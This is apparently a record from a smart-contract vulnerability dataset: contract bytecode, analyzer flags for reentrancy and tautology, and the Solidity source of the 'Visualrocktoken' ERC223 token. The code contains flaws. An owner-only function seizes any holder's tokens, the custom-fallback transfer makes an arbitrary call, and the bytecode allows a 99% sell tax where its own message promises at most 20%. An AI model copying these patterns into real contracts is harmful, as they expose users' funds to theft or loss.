9020549190611388565b610d28565b5060019392505050565b6000546001600160a01b031633146107575760405162461bcd60e51b815260040161063890611dd3565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107a25760405162461bcd60e51b815260040161063890611dd3565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107f557506013546001600160a01b0316336001600160a01b0316145b6107fe57600080fd5b47610808816113c2565b50565b6001600160a01b0381166000908152600260205260408120546106be906113fc565b6000546001600160a01b031633146108575760405162461bcd60e51b815260040161063890611dd3565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108cb5760405162461bcd60e51b815260040161063890611dd3565b674563918244f4000081111561080857601655565b6000546001600160a01b0316331461090a5760405162461bcd60e51b815260040161063890611dd3565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109525760405162461bcd60e51b815260040161063890611dd3565b601855565b6000546001600160a01b031633146109815760405162461bcd60e51b815260040161063890611dd3565b60048411156109e05760405162461bcd60e51b815260206004820152602560248201527f4275792072657761726473206d757374206265206265747765656e20302520616044820152646e6420342560d81b6064820152608401610638565b6014821115610a3c5760405162461bcd60e51b815260206004820152602260248201527f42757920746178206d757374206265206265747765656e20302520616e642032604482015261302560f01b6064820152608401610638565b6004831115610a9c5760405162461bcd60e51b815260206004820152602660248201527f53656c6c2072657761726473206d757374206265206265747765656e20302520604482015265616e6420342560d01b6064820152608401610638565b6063811115610af95760405162461bcd60e51b815260206004820152602360248201527f53656c6c20746178206d757374206265206265747765656e20302520616e642060448201526232302560e81b6064820152608401610638565b600893909355600a91909155600955600b55565b60006106ba338484610e4c565b6012546001600160a01b0316336001600160a01b03161480610b4f57506013546001600160a01b0316336001600160a01b0316145b610b5857600080fd5b6000610b633061080b565b905061080881611480565b6000546001600160a01b03163314610b985760405162461bcd60e51b815260040161063890611dd3565b60005b82811015610c09578160056000868685818110610bba57610bba611e08565b9050602002016020810190610bcf9190611c83565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610c0181611e34565b915050610b9b565b50505050565b6000546001600160a01b03163314610c395760405162461bcd60e51b815260040161063890611dd3565b601755565b6000546001600160a01b03163314610c685760405162461bcd60e51b815260040161063890611dd3565b6001600160a01b038116610ccd5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610638565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610d8a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610638565b6001600160a01b038216610deb5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610638565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610eb05760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610638565b6001600160a01b038216610f125760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610638565b60008111610f745760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610638565b6000546001600160a01b03848116911614801590610fa057506000546001600160a01b03838116911614155b1561128157601554600160a01b900460ff16611039576000546001600160a01b038481169116146110395760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610638565b60165481111561108b5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610638565b6001600160a01b03831660009081526010602052604090205460ff161580156110cd57506001600160a01b03821660009081526010602052604090205460ff16155b6111255760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610638565b6015546001600160a01b038381169116146111aa57601754816111478461080b565b6111519190611e4f565b106111aa5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610638565b60006111b53061080b565b6018546016549192508210159082106111ce5760165491505b8080156111e55750601554600160a81b900460ff16155b80156111ff57506015546001600160a01b03868116911614155b80156112145750601554600160b01b900460ff165b801561123957506001600160a01b03851660009081526005602052604090205460ff16155b801561125e57506001600160a01b03841660009081526005602052604090205460ff16155b1561127e5761126c82611480565b47801561127c5761127c476113c2565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806112c357506001600160a01b03831660009081526005602052604090205460ff165b806112f557506015546001600160a01b038581169116148015906112f557506015546001600160a01b03848116911614155b156113025750600061137c565b6015546001600160a01b03858116911614801561132d57506014546001600160a01b03848116911614155b1561133f57600854600c55600954600d555b6015546001600160a01b03848116911614801561136a57506014546001600160a01b03858116911614155b1561137c57600a54600c55600b54600d555b610c0984848484611609565b600081848411156113ac5760405162461bcd60e51b81526004016106389190611bc1565b5060006113b98486611e67565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156106a9573d6000803e3d6000fd5b60006006548211156114635760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610638565b600061146d611637565b9050611479838261165a565b9392505050565b6015805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106114c8576114c8611e08565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561151c57600080fd5b505afa158015611530573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115549190611e7e565b8160018151811061156757611567611e08565b6001600160a01b03928316602091820292909201015260145461158d9130911684610d28565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906115c6908590600090869030904290600401611e9b565b600060405180830381600087803b1580156115e057600080fd5b505af11580156115f4573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b806116165761161661169c565b6116218484846116ca565b80610c0957610c09600e54600c55600f54600d55565b60008060006116446117c1565b9092509050611653828261165a565b9250505090565b600061147983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611803565b600c541580156116ac5750600d54155b156116b357565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806116dc87611831565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061170e908761188e565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461173d90866118d0565b6001600160a01b03891660009081526002602052604090205561175f8161192f565b6117698483611979565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516117ae91815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea000006117dd828261165a565b8210156117fa57505060065492683635c9adc5dea0000092509050565b90939092509050565b600081836118245760405162461bcd60e51b81526004016106389190611bc1565b5060006113b98486611f0c565b600080600080600080600080600061184e8a600c54600d5461199d565b925092509250600061185e611637565b905060008060006118718e8787876119f2565b919e509c509a509598509396509194505050505091939550919395565b600061147983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611388565b6000806118dd8385611e4f565b9050838110156114795760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610638565b6000611939611637565b905060006119478383611a42565b3060009081526002602052604090205490915061196490826118d0565b30600090815260026020526040902055505050565b600654611986908361188e565b60065560075461199690826118d0565b6007555050565b60008080806119b760646119b18989611a42565b9061165a565b905060006119ca60646119b18a89611a42565b905060006119e2826119dc8b8661188e565b9061188e565b9992985090965090945050505050565b6000808080611a018886611a42565b90506000611a0f8887611a42565b90506000611a1d8888611a42565b90506000611a2f826119dc868661188e565b939b939a50919850919650505050505050565b600082611a51575060006106be565b6000611a5d8385611f2e565b905082611a6a8583611f0c565b146114795760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610638565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461080857600080fd5b8035611af781611ad7565b919050565b60006020808385031215611b0f57600080fd5b823567ffffffffffffffff80821115611b2757600080fd5b818501915085601f830112611b3b57600080fd5b813581811115611b4d57611b4d611ac1565b8060051b604051601f19603f83011681018181108582111715611b7257611b72611ac1565b604052918252848201925083810185019188831115611b9057600080fd5b938501935b82851015611bb557611ba685611aec565b84529385019392850192611b95565b98975050505050505050565b600060208083528351808285015260005b81811015611bee57858101830151858201604001528201611bd2565b81811115611c00576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611c2957600080fd5b8235611c3481611ad7565b946020939093013593505050565b600080600060608486031215611c5757600080fd5b8335611c6281611ad7565b92506020840135611c7281611ad7565b929592945050506040919091013590565b600060208284031215611c9557600080fd5b813561147981611ad7565b80358015158114611af757600080fd5b600060208284031215611cc257600080fd5b61147982611ca0565b600060208284031215611cdd57600080fd5b5035919050565b60008060008060808587031215611cfa57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611d2b57600080fd5b833567ffffffffffffffff80821115611d4357600080fd5b818601915086601f830112611d5757600080fd5b813581811115611d6657600080fd5b8760208260051b8501011115611d7b57600080fd5b602092830195509350611d919186019050611ca0565b90509250925092565b60008060408385031215611dad57600080fd5b8235611db881611ad7565b91506020830135611dc881611ad7565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611e4857611e48611e1e565b5060010190565b60008219821115611e6257611e62611e1e565b500190565b600082821015611e7957611e79611e1e565b500390565b600060208284031215611e9057600080fd5b815161147981611ad7565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611eeb5784516001600160a01b031683529383019391830191600101611ec6565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611f2957634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611f4857611f48611e1e565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220351205e6f6f9c0f2e62d345fb0ab9c0506921970666abcf007beb3c344f512cb64736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
| 7,844 |
0x1c1d65c424a7c316f3134532e80adc4de142fd50
|
pragma solidity ^0.4.18;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization
* control functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the
* sender account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* 彡(^)(^)
* @title ERC223
* @dev ERC223 contract interface with ERC20 functions and events
* Fully backward compatible with ERC20
* Recommended implementation used at https://github.com/Dexaran/ERC223-token-standard/tree/Recommended
*/
contract ERC223 {
uint public totalSupply;
// ERC223 and ERC20 functions and events
function balanceOf(address who) public view returns (uint);
function totalSupply() public view returns (uint256 _supply);
function transfer(address to, uint value) public returns (bool ok);
function transfer(address to, uint value, bytes data) public returns (bool ok);
function transfer(address to, uint value, bytes data, string customFallback) public returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value, bytes indexed data);
// ERC223 functions
function name() public view returns (string _name);
function symbol() public view returns (string _symbol);
function decimals() public view returns (uint8 _decimals);
// ERC20 functions and events
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
/**
* @title ContractReceiver
* @dev Contract that is working with ERC223 tokens
*/
contract ContractReceiver {
struct TKN {
address sender;
uint value;
bytes data;
bytes4 sig;
}
function tokenFallback(address _from, uint _value, bytes _data) public pure {
TKN memory tkn;
tkn.sender = _from;
tkn.value = _value;
tkn.data = _data;
uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24);
tkn.sig = bytes4(u);
/*
* tkn variable is analogue of msg variable of Ether transaction
* tkn.sender is person who initiated this token transaction (analogue of msg.sender)
* tkn.value the number of tokens that were sent (analogue of msg.value)
* tkn.data is data of token transaction (analogue of msg.data)
* tkn.sig is 4 bytes signature of function if data of token transaction is a function execution
*/
}
}
/**
* @title Visualrocktoken
* @author Visualrocktoken
* @dev Visualrocktoken is an ERC223 Token with ERC20 functions and events
* Fully backward compatible with ERC20
*/
contract Visualrocktoken is ERC223, Ownable {
using SafeMath for uint256;
string public name = "Visualrocktoken";
string public symbol = "VRT";
string public constant AAcontributors = "Visualrocktoken";
uint8 public decimals = 8;
uint256 public totalSupply = 2e10 * 1e8;
uint256 public distributeAmount = 0;
bool public mintingFinished = false;
mapping(address => uint256) public balanceOf;
mapping(address => mapping (address => uint256)) public allowance;
mapping (address => bool) public frozenAccount;
mapping (address => uint256) public unlockUnixTime;
event FrozenFunds(address indexed target, bool frozen);
event LockedFunds(address indexed target, uint256 locked);
event Burn(address indexed from, uint256 amount);
event Mint(address indexed to, uint256 amount);
event MintFinished();
/**
* @dev Constructor is called only once and can not be called again
*/
function Visualrocktoken() public {
balanceOf[msg.sender] = totalSupply;
}
function name() public view returns (string _name) {
return name;
}
function symbol() public view returns (string _symbol) {
return symbol;
}
function decimals() public view returns (uint8 _decimals) {
return decimals;
}
function totalSupply() public view returns (uint256 _totalSupply) {
return totalSupply;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balanceOf[_owner];
}
/**
* @dev Prevent targets from sending or receiving tokens
* @param targets Addresses to be frozen
* @param isFrozen either to freeze it or not
*/
function freezeAccounts(address[] targets, bool isFrozen) onlyOwner public {
require(targets.length > 0);
for (uint j = 0; j < targets.length; j++) {
require(targets[j] != 0x0);
frozenAccount[targets[j]] = isFrozen;
FrozenFunds(targets[j], isFrozen);
}
}
/**
* @dev Prevent targets from sending or receiving tokens by setting Unix times
* @param targets Addresses to be locked funds
* @param unixTimes Unix times when locking up will be finished
*/
function lockupAccounts(address[] targets, uint[] unixTimes) onlyOwner public {
require(targets.length > 0
&& targets.length == unixTimes.length);
for(uint j = 0; j < targets.length; j++){
require(unlockUnixTime[targets[j]] < unixTimes[j]);
unlockUnixTime[targets[j]] = unixTimes[j];
LockedFunds(targets[j], unixTimes[j]);
}
}
/**
* @dev Function that is called when a user or another contract wants to transfer funds
*/
function transfer(address _to, uint _value, bytes _data, string _custom_fallback) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]);
if (isContract(_to)) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
assert(_to.call.value(0)(bytes4(keccak256(_custom_fallback)), msg.sender, _value, _data));
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
} else {
return transferToAddress(_to, _value, _data);
}
}
function transfer(address _to, uint _value, bytes _data) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]);
if (isContract(_to)) {
return transferToContract(_to, _value, _data);
} else {
return transferToAddress(_to, _value, _data);
}
}
/**
* @dev Standard function transfer similar to ERC20 transfer with no _data
* Added due to backwards compatibility reasons
*/
function transfer(address _to, uint _value) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]);
bytes memory empty;
if (isContract(_to)) {
return transferToContract(_to, _value, empty);
} else {
return transferToAddress(_to, _value, empty);
}
}
// assemble the given address bytecode. If bytecode exists then the _addr is a contract.
function isContract(address _addr) private view returns (bool is_contract) {
uint length;
assembly {
//retrieve the size of the code on target address, this needs assembly
length := extcodesize(_addr)
}
return (length > 0);
}
// function that is called when transaction target is an address
function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
}
// function that is called when transaction target is a contract
function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
ContractReceiver receiver = ContractReceiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Transfer tokens from one address to another
* Added due to backwards compatibility with ERC20
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_to != address(0)
&& _value > 0
&& balanceOf[_from] >= _value
&& allowance[_from][msg.sender] >= _value
&& frozenAccount[_from] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[_from]
&& now > unlockUnixTime[_to]);
balanceOf[_from] = balanceOf[_from].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Allows _spender to spend no more than _value tokens in your behalf
* Added due to backwards compatibility with ERC20
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public returns (bool success) {
allowance[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender
* Added due to backwards compatibility with ERC20
* @param _owner address The address which owns the funds
* @param _spender address The address which will spend the funds
*/
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowance[_owner][_spender];
}
/**
* @dev Burns a specific amount of tokens.
* @param _from The address that will burn the tokens.
* @param _unitAmount The amount of token to be burned.
*/
function burn(address _from, uint256 _unitAmount) onlyOwner public {
require(_unitAmount > 0
&& balanceOf[_from] >= _unitAmount);
balanceOf[_from] = balanceOf[_from].sub(_unitAmount);
totalSupply = totalSupply.sub(_unitAmount);
Burn(_from, _unitAmount);
}
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _unitAmount The amount of tokens to mint.
*/
function mint(address _to, uint256 _unitAmount) onlyOwner canMint public returns (bool) {
require(_unitAmount > 0);
totalSupply = totalSupply.add(_unitAmount);
balanceOf[_to] = balanceOf[_to].add(_unitAmount);
Mint(_to, _unitAmount);
Transfer(address(0), _to, _unitAmount);
return true;
}
/**
* @dev Function to stop minting new tokens.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
/**
* @dev Function to distribute tokens to the list of addresses by the provided amount
*/
function distributeAirdrop(address[] addresses, uint256 amount) public returns (bool) {
require(amount > 0
&& addresses.length > 0
&& frozenAccount[msg.sender] == false
&& now > unlockUnixTime[msg.sender]);
amount = amount.mul(1e8);
uint256 totalAmount = amount.mul(addresses.length);
require(balanceOf[msg.sender] >= totalAmount);
for (uint j = 0; j < addresses.length; j++) {
require(addresses[j] != 0x0
&& frozenAccount[addresses[j]] == false
&& now > unlockUnixTime[addresses[j]]);
balanceOf[addresses[j]] = balanceOf[addresses[j]].add(amount);
Transfer(msg.sender, addresses[j], amount);
}
balanceOf[msg.sender] = balanceOf[msg.sender].sub(totalAmount);
return true;
}
function distributeAirdrop(address[] addresses, uint[] amounts) public returns (bool) {
require(addresses.length > 0
&& addresses.length == amounts.length
&& frozenAccount[msg.sender] == false
&& now > unlockUnixTime[msg.sender]);
uint256 totalAmount = 0;
for(uint j = 0; j < addresses.length; j++){
require(amounts[j] > 0
&& addresses[j] != 0x0
&& frozenAccount[addresses[j]] == false
&& now > unlockUnixTime[addresses[j]]);
amounts[j] = amounts[j].mul(1e8);
totalAmount = totalAmount.add(amounts[j]);
}
require(balanceOf[msg.sender] >= totalAmount);
for (j = 0; j < addresses.length; j++) {
balanceOf[addresses[j]] = balanceOf[addresses[j]].add(amounts[j]);
Transfer(msg.sender, addresses[j], amounts[j]);
}
balanceOf[msg.sender] = balanceOf[msg.sender].sub(totalAmount);
return true;
}
/**
* @dev Function to collect tokens from the list of addresses
*/
function collectTokens(address[] addresses, uint[] amounts) onlyOwner public returns (bool) {
require(addresses.length > 0
&& addresses.length == amounts.length);
uint256 totalAmount = 0;
for (uint j = 0; j < addresses.length; j++) {
require(amounts[j] > 0
&& addresses[j] != 0x0
&& frozenAccount[addresses[j]] == false
&& now > unlockUnixTime[addresses[j]]);
amounts[j] = amounts[j].mul(1e8);
require(balanceOf[addresses[j]] >= amounts[j]);
balanceOf[addresses[j]] = balanceOf[addresses[j]].sub(amounts[j]);
totalAmount = totalAmount.add(amounts[j]);
Transfer(addresses[j], msg.sender, amounts[j]);
}
balanceOf[msg.sender] = balanceOf[msg.sender].add(totalAmount);
return true;
}
function setDistributeAmount(uint256 _unitAmount) onlyOwner public {
distributeAmount = _unitAmount;
}
/**
* @dev Function to distribute tokens to the msg.sender automatically
* If distributeAmount is 0, this function doesn't work
*/
function autoDistribute() payable public {
require(distributeAmount > 0
&& balanceOf[owner] >= distributeAmount
&& frozenAccount[msg.sender] == false
&& now > unlockUnixTime[msg.sender]);
if(msg.value > 0) owner.transfer(msg.value);
balanceOf[owner] = balanceOf[owner].sub(distributeAmount);
balanceOf[msg.sender] = balanceOf[msg.sender].add(distributeAmount);
Transfer(owner, msg.sender, distributeAmount);
}
/**
* @dev fallback function
*/
function() payable public {
autoDistribute();
}
}
|
0x6060604052600436106101505763ffffffff60e060020a60003504166305d2035b811461015a57806306fdde0314610181578063095ea7b31461020b57806318160ddd1461022d57806323b872dd14610252578063313ce5671461027a57806340c10f19146102a35780634f25eced146102c55780635ab89248146102d857806364ddc605146102eb57806370a082311461037a5780637d64bcb4146103995780638da5cb5b146103ac57806394594625146103db57806395d89b411461042c5780639dc29fac1461043f578063a8f11eb914610150578063a9059cbb14610461578063b414d4b614610483578063be45fd62146104a2578063c341b9f614610507578063cbbe974b1461055a578063d39b1d4814610579578063dd62ed3e1461058f578063dd924594146105b4578063f0dc417114610643578063f2fde38b146106d2578063f6368f8a146106f1575b610158610798565b005b341561016557600080fd5b61016d61090d565b604051901515815260200160405180910390f35b341561018c57600080fd5b610194610916565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156101d05780820151838201526020016101b8565b50505050905090810190601f1680156101fd5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561021657600080fd5b61016d600160a060020a03600435166024356109be565b341561023857600080fd5b610240610a2a565b60405190815260200160405180910390f35b341561025d57600080fd5b61016d600160a060020a0360043581169060243516604435610a30565b341561028557600080fd5b61028d610c3f565b60405160ff909116815260200160405180910390f35b34156102ae57600080fd5b61016d600160a060020a0360043516602435610c48565b34156102d057600080fd5b610240610d4a565b34156102e357600080fd5b610194610d50565b34156102f657600080fd5b610158600460248135818101908301358060208181020160405190810160405280939291908181526020018383602002808284378201915050505050509190803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843750949650610d8795505050505050565b341561038557600080fd5b610240600160a060020a0360043516610ee1565b34156103a457600080fd5b61016d610efc565b34156103b757600080fd5b6103bf610f69565b604051600160a060020a03909116815260200160405180910390f35b34156103e657600080fd5b61016d60046024813581810190830135806020818102016040519081016040528093929190818152602001838360200280828437509496505093359350610f7892505050565b341561043757600080fd5b610194611206565b341561044a57600080fd5b610158600160a060020a0360043516602435611279565b341561046c57600080fd5b61016d600160a060020a0360043516602435611361565b341561048e57600080fd5b61016d600160a060020a036004351661143c565b34156104ad57600080fd5b61016d60048035600160a060020a03169060248035919060649060443590810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284375094965061145195505050505050565b341561051257600080fd5b610158600460248135818101908301358060208181020160405190810160405280939291908181526020018383602002808284375094965050505091351515915061151c9050565b341561056557600080fd5b610240600160a060020a036004351661161e565b341561058457600080fd5b610158600435611630565b341561059a57600080fd5b610240600160a060020a0360043581169060243516611650565b34156105bf57600080fd5b61016d60046024813581810190830135806020818102016040519081016040528093929190818152602001838360200280828437820191505050505050919080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284375094965061167b95505050505050565b341561064e57600080fd5b61016d60046024813581810190830135806020818102016040519081016040528093929190818152602001838360200280828437820191505050505050919080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284375094965061192d95505050505050565b34156106dd57600080fd5b610158600160a060020a0360043516611bfb565b34156106fc57600080fd5b61016d60048035600160a060020a03169060248035919060649060443590810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284378201915050505050509190803590602001908201803590602001908080601f016020809104026020016040519081016040528181529291906020840183838082843750949650611c9695505050505050565b60006006541180156107c65750600654600154600160a060020a031660009081526008602052604090205410155b80156107eb5750600160a060020a0333166000908152600a602052604090205460ff16155b801561080e5750600160a060020a0333166000908152600b602052604090205442115b151561081957600080fd5b600034111561085657600154600160a060020a03163480156108fc0290604051600060405180830381858888f19350505050151561085657600080fd5b600654600154600160a060020a03166000908152600860205260409020546108839163ffffffff611fee16565b600154600160a060020a039081166000908152600860205260408082209390935560065433909216815291909120546108c19163ffffffff61200016565b600160a060020a033381166000818152600860205260409081902093909355600154600654919392169160008051602061243b83398151915291905190815260200160405180910390a3565b60075460ff1681565b61091e612428565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109b45780601f10610989576101008083540402835291602001916109b4565b820191906000526020600020905b81548152906001019060200180831161099757829003601f168201915b5050505050905090565b600160a060020a03338116600081815260096020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60055490565b6000600160a060020a03831615801590610a4a5750600082115b8015610a6f5750600160a060020a038416600090815260086020526040902054829010155b8015610aa25750600160a060020a0380851660009081526009602090815260408083203390941683529290522054829010155b8015610ac75750600160a060020a0384166000908152600a602052604090205460ff16155b8015610aec5750600160a060020a0383166000908152600a602052604090205460ff16155b8015610b0f5750600160a060020a0384166000908152600b602052604090205442115b8015610b325750600160a060020a0383166000908152600b602052604090205442115b1515610b3d57600080fd5b600160a060020a038416600090815260086020526040902054610b66908363ffffffff611fee16565b600160a060020a038086166000908152600860205260408082209390935590851681522054610b9b908363ffffffff61200016565b600160a060020a03808516600090815260086020908152604080832094909455878316825260098152838220339093168252919091522054610be3908363ffffffff611fee16565b600160a060020a038086166000818152600960209081526040808320338616845290915290819020939093559085169160008051602061243b8339815191529085905190815260200160405180910390a35060015b9392505050565b60045460ff1690565b60015460009033600160a060020a03908116911614610c6657600080fd5b60075460ff1615610c7657600080fd5b60008211610c8357600080fd5b600554610c96908363ffffffff61200016565b600555600160a060020a038316600090815260086020526040902054610cc2908363ffffffff61200016565b600160a060020a0384166000818152600860205260409081902092909255907f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d41213968859084905190815260200160405180910390a2600160a060020a038316600060008051602061243b8339815191528460405190815260200160405180910390a350600192915050565b60065481565b60408051908101604052600f81527f56697375616c726f636b746f6b656e0000000000000000000000000000000000602082015281565b60015460009033600160a060020a03908116911614610da557600080fd5b60008351118015610db7575081518351145b1515610dc257600080fd5b5060005b8251811015610edc57818181518110610ddb57fe5b90602001906020020151600b6000858481518110610df557fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205410610e2357600080fd5b818181518110610e2f57fe5b90602001906020020151600b6000858481518110610e4957fe5b9060200190